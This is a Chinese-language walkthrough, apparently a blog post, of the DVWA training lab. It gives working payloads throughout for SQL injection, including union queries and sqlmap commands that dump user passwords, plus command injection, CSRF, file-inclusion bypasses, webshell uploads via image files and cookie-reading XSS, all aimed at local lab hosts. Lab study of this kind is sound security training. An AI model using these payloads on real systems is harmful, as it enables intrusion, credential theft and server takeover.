一:SQL injection(回顯-手工)
low
1、漏洞復現
(1)首先提交正常的資料,看是否有回顯
(2)使用order by 判斷有多少列 1' order by 2# 當為3的時候會出現錯誤
(3)判斷顯示位,有哪幾個列是顯示出來的(兩個列都顯示)
1' union select 1,2#
使用union查詢會出現這個問題
解決方法:找到mysql.php,在在{$_DVWA[ 'db_database' ]} 後新增內容 COLLATE utf8_general_ci,就可以解決這個問題
(4)根據回顯列數構造SQL語句,爆破資料庫名稱
1' union select database(),user()# 註釋:爆破資料庫database(),爆破當前使用者user()
根據資料庫名爆破錶tables
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' # 註釋:從information_schema.tables表當中查詢 table_name,table_schema這兩個欄位,條件為table_schema='dvwa',從DVWA資料庫當中查詢
根據表爆破欄位名columns
1’ union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘users’ # 註釋:從uses表中查詢欄位
根據欄位名稱爆破內容dump
1' union select user,password from users # 註釋:從users表中查詢欄位為user和password欄位中的內容
medium
請參考下面sql盲注如何使用sqlmap注入,步驟相同,此處不做過多贅述!
high
請參考下面sql盲注如何使用sqlmap注入,步驟相同,此處不做過多贅述!
二:SQL injection(盲注-工具)
low
1、漏洞復現
(1)爆破資料庫dbs
-u 指定存在注入點的網址
--cookie 指定cookie
--batch 自動化爆破
-dbs 指定爆破當前資料庫
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -dbs
(2)以dvwa資料庫為例子,爆破錶名tables
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -tables
(3)以users表為例,爆破欄位columns
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -T users -columns
(4)根據爆破出來的欄位user,password,爆破對應的內容dump
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=low" --batch -D dvwa -T users -C user,password -dump
medium
1、漏洞復現
(1)爆破資料庫dbs
爆破資料庫名稱,發現url中沒有提交的資料,為post提交方式,增加--data引數
檢視cookie
開始爆破
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -dbs
(2)增加了--data引數之後就和low等級一樣了,爆破錶名tables
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -tables
(3)爆破欄位名稱columns
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -T users -columns
(4)爆破對應欄位的內容dump
python sqlmap.py -u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=medium" --data "id=1&Submit=Submit#" --batch -D dvwa -T users -C user,password -dump
high
1、漏洞復現
與medium不同的是輸入查詢資訊在彈窗中輸入,而資料顯示在原視窗顯示,在增加-data引數的基礎上增加second-url(dvwa靶場上的url)引數即可繞過,-u(這個是彈出來的url的連結)
重新獲取cookie
(1)爆破資料庫dbs
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -dbs
(2)爆破錶名tables
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -tables
(3)爆破欄位名columns
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -T users -columns
(4)爆破對應欄位的內容dump(最後一個爆破過程非常的慢,因為是盲注)
python sqlmap.py -u "192.168.213.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit#" --second-u "http://192.168.213.133/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=mqhl4cjbmtma0p8648q0jgq361; security=high" --batch -D dvwa -T users -C user,password -dump
三:Brute force(暴力破解)
low
1、分析後端程式碼
low等級的只是把輸入的username和password放到資料庫進行匹配查詢然後返回結果、並沒有做任何的限制、只要dict強大,就可以跑出來
2、漏洞復現
(1)隨便輸入username和password
(2)bp抓包將資料包傳送到intruder爆破模組
(3)設定攻擊攻擊載荷(username和password),選擇攻擊型別Cluster bamb
Sniper: 單引數爆破,多引數時使用同一個字典按順序替換各引數,只有一個資料會被替換
Battering ram: 多引數同時爆破,但用的是同一個字典,每個引數資料都是一致的
Pichfork: 多引數同時爆破,但用的是不同的字典,不同字典間資料逐行匹配
Cluster bamb: 多引數做笛卡爾乘積模式爆破
(4)配置攻擊字典,開始爆破,爆破完之後根據length的長度篩選結果
檢視響應發現爆破成功了
medium
1、分析後端程式碼
判斷是否有GET引數login,然後對輸入的username和password進行了資料庫查詢、返回響應結果、唯一不同的就是在登入失敗後會執行sleep(2),讓程式休眠兩秒,但是隻要dict夠強大,還是能跑出來的,只是花費的時間變長了
high
1、分析後端程式碼
sleep(rand(0,3)),最重要的就是增加了session_token,每次登入需要檢查session_token
2、漏洞復現
(1)假設已知使用者名稱admin、只需爆破密碼(便於測試)
輸入admin、密碼隨意、進行抓包、傳送到爆破模組intruder
(2)選中password變數和token變數,然後選擇Pichfork攻擊型別(參考上述解釋)
(3)設定password載荷的引數,新增字典
(4)設定token引數
在options中將執行緒數修改為1(token是每次驗證完之後才會生成新的token )
下滑找到Grep-Extract(這裡是為了從我們的請求中提取到token,分辨特徵,以便為每個密碼找到對應的token)
點選新增,在彈出的介面中點選獲取回覆
回到載荷頁面,設定token攻擊引數,載荷攻擊型別改為recursive grep(該型別只能單執行緒爆破,需要在options中將執行緒設定為1)
設定完畢,開始爆破
![image](https://img2024.cnblogs.com/blog/3300136/202407
impossible
1、後端程式碼分析
使用了failed_login欄位來記錄每個使用者的失敗登入次數,如果失敗登入次數達到設定的閾值,則會鎖定使用者賬戶一段時間,如果使用者的失敗登入次數達到閾值,系統會計算並比較最後一次登入時間與當前時間之間的間隔,如果未到達設定的鎖定時間 $timeout,系統會將賬戶鎖定標記為真,並拒絕登入嘗試,在登入失敗的情況下,程式碼使用 sleep( rand( 2, 4 ) ) 函式引入了一個隨機的短暫延遲對於登入失敗的情況,程式碼明確地告知使用者使用者名稱或密碼錯誤,或者賬戶由於失敗登入次數過多而被鎖定。
四:command injection(命令注入)
low
1、常用的系統命令(Windows/Linux)
2、後端程式碼分析
檢查是否有POST型引數Submit;然後獲取使用者的輸入,利用shell_exec()遠端執行函式執行ping命令,並將結果返回給使用者
3、漏洞復現
(1)先導知識
使用命令連線符號進行命令注入
& :前面一個命令無論是否執行,後面的命令都能執行,兩個命令都執行
&&:前面一個命令執行成功後,才能執行後面一個命令,兩個命令都執行
|:前面一個命令無論是否執行,後面的命令都能執行且只執行後面一個
||:前面一個命令不能正常執行後,才能執行後面一個命令
(2)示例:
(3)亂碼問題如何解決?
找到dvwaPage.inc.php檔案,修改檔案中的編碼格式,將utf-8修改為GBK
顯示正常
medium
1、後端程式碼分析
對命令連線符進行了過濾,但是沒有過濾完全,可以使用其他的命令連線符
2、漏洞復現
high
1、後端程式碼分析
發現還是一樣的套路,也是過濾字元但過濾得更多了。但仔細觀察發現有一個過濾是’| ‘,注意這個過濾是加了空格的,說明這個過濾其實是沒用的,只需要’|’後面直接加入引數,不保留空格,我們依然可以用這個命令連線符進行命令注入
2、漏洞復現
使用' |dir'命令連線符進行攻擊
impossible
1、原理分析
使用is_numeric()函式驗證輸入的ip地址是否位數字,然後使用explode()函式將IP地址分割為4部分,然後在驗證4個部分是否為數字,確保了IP地址僅包含數字
2、後端程式碼分析
後端程式碼增加了token隨機值的驗證,首先進行檢查token和session token的值是否相同,然後去除ip地址中的反斜槓,並且將IP地址拆分成四個部分,進行進一步的過濾和檢查,如果是單純的數字,則將拆分的IP地址重新拼接,進而繼續後續的操作,is_numeric()用於檢測使用者輸入的是否為數字或者數字字串,不難看出該方法對輸入的IP地址做了合法的驗證,只有輸入符合IPV4格式才能被正常的執行,排除了一切可以注入其他命令的可能,安全型方面得到了大幅度提升。
五:CSRF(跨站請求偽造)
low
1、後端程式碼分析
原始碼中只對傳入的密碼和確認密碼進行比較,兩者一致則執行更改密碼命令成功返回Password Change,不一致則返回Passwords did not match,沒有任何過濾,所以能輕易執行csrf漏洞
2、漏洞復現
網站的本意是在網站內更改密碼,而我透過控制url的傳參就能使我能在網站之外執行更改密碼的操作
更改密碼之後,URL引數發生變化
分析出password_new是我輸入的密碼,password_conf是我確認的密碼,說明我們在網站上輸入的資訊是會在url欄這裡進行一個傳輸執行
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
修改URL引數,將原本的密碼123456修改為456789
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#
將URL放置到搜尋框中,點選回車,發現密碼發生更改了
medium
1、後端程式碼分析
和Low等級比較發現,只有一處改變,即在傳入密碼和確認密碼引數前先進行了一個if語句的判斷,判斷裡面的內容主要是驗證這個訪問請求是否是從dwva網站本身發起的,若不是就不執行後面的操作
2、漏洞復現
透過bp抓包(自己修改密碼,正常情況)獲取資料包,這時候資料包是有referer的,然後複製referer,構造url修改密碼,透過bp抓包,然後把抓到的資料發給重發器,然後把referer複製過來,進行傳送會發現密碼已經成功修改
正常的資料包
構造的惡意URL的資料包
透過重發資料包,增加referer的值,成功繞過了對referer的過濾(同源策略),當然也可以修改當前訪問頁面的名字,改為域名.html也可以實現修改密碼的功能
high
1、後端程式碼分析
可以看出high等級的主要區別是增加了一個token值的校驗,每次登入都會校驗token是否正確,若想要執行更改密碼操作必須知道正常使用者的token
2、漏洞復現
這裡為了方便,就假設我透過xss儲存型漏洞獲得了token,而將token拼接到medium等級的表單中完成攻擊
獲得的token:20f07053354bf93a94e3bb45e2923312
攻擊完成
六:file inclusion(檔案包含)
low
1、後端程式碼分析
將檔名傳參給page引數
2、漏洞復現
訪問頁面,顯示allow_url_include 沒有開啟,我們可以在配置裡面開啟,allow_url_include參數列示可以遠端利用檔案包含漏洞
透過訪問1.php,2.php, 3.php會返回不同的內容,同時會將檔名傳參給page引數
對page傳參為http://127.0.0.1/1.php(成功的解析)
medium
1、後端程式碼分析
因為後端程式碼對如果傳參值中有http:// https:// …/ …\都將替換為空
如果傳入的是htthttp://p://127.0.0.1/1.php,就可以成功的解析了
2、漏洞復現
對page傳參為http://127.0.0.1/1.php,出現了報錯
因為後端程式碼對如果傳參值中有http:// https:// …/ …\都將替換為空
如果傳入的是htthttp://p://127.0.0.1/1.php,就可以成功的解析了
high
1、後端程式碼分析
關鍵程式碼為 使用fnmatch()函式對page引數進行過濾,要求page必須以“file”開頭,伺服器才會包含相應的檔案
2、漏洞復現
可利用file協議進行讀檔案
七:file upload(檔案上傳)
low
1、後端程式碼分析
檢查是否有上傳檔案的POST請求,然後設定上傳目標路徑,移動上傳的檔案到目標路徑,並沒有做任何的安全措施
2、漏洞復現
關閉防火牆的實時保護(防止一句話木馬被防火牆殺掉)
製作一句話木馬,然後上傳一句話木馬
上傳
使用websell工具連線,拿下伺服器許可權
medium
1、後端程式碼分析
檢視原始碼發現對上傳的檔案進行了一些過濾措施,限制了上傳檔案的大小,並且要求上傳檔案的型別必須是jpg或者png型別,我們可以透過bp抓包修改content-type的值為允許的欄位就可以繞過前端驗證
2、漏洞復現
首先上傳正常允許的檔案,獲取content-type的值(jpg)
上傳一句話木馬,修改content-type的值,繞過前端驗證
將application/octet-stream修改為image/png就可以繞過前端驗證了
上傳成功
high
1、後端程式碼分析
使用getimagesize(string filename)函式會透過讀取檔案頭,返回圖片的長、寬等資訊,如果沒有相關的圖片檔案頭,函式會報錯。可以看到,High級別的程式碼讀取檔名中最後一個”.”後的字串,期望透過檔名來限制檔案型別,因此要求上傳檔名形式必須是”.jpg”、”.jpeg” 、”*.png”之一。同時,getimagesize函式更是限制了上傳檔案的檔案頭必須為影像型別
2、漏洞復現
使用cpoy命令生成圖片馬;講一句話木馬隱藏在圖片中
發現一句話木馬還是隱藏在jpg圖片當中
上傳jpg圖片
利用命令執行漏洞將3.jpg圖片修改為shell.php
127.0.0.1|move …/…/hackable/uploads/3.jpg …/…/hackable/uploads/shell.php
使用蟻劍進行連線,拿下伺服器許可權
impossible
1、後端程式碼分析
會對上傳的檔案的內容進行檢測,如果不符合則上傳失敗;可以研究隱寫技術結合這個漏洞實現檔案上傳
八:XSS(DOM、反射、儲存)
一:DOM型
low
1、後端程式碼分析
後端無任何PHP程式碼,執行命令只有客戶端的JS程式碼
2、漏洞復現
點選English
執行js指令碼
medium
1、後端程式碼分析
對script進行了過濾
2、漏洞復現
構造閉合執行js指令碼
></option></select><img src=1 onerror=alert(/xss/)>
high
1、後端程式碼分析
就是設定了白名單,只有白名單之內的內容才可以被執行
2、漏洞復現
構造閉合
# ></option></select><img src=1 onerror=alert(/xss/)>
二:反射型
low
1、後端程式碼分析
就是判斷了一下name是否為空,不為空直接就輸出hello+name的資訊
2、漏洞復現
在輸入框中輸入js簡單的獲取cookie的指令碼
<script>alert(document.cookie)</script>
medium
1、後端程式碼分析
使用str_replace函式把
2、漏洞復現
構造js指令碼
high
1、後端程式碼分析
已經對script標籤進行了嚴格的過濾,嘗試使用別的標籤進行注入
2、漏洞復現
構造js指令碼
<img src=1 onerror=alert(/xss/)>
三:儲存型
和反射性的過程基本一致,此處就不過多的贅述了!
XSS總結:後端程式碼使用htmlspecialchars()函式將html特殊的字元轉化為實體,這樣js指令碼就沒有可以執行的地方了,自然就不會從在XSS漏洞了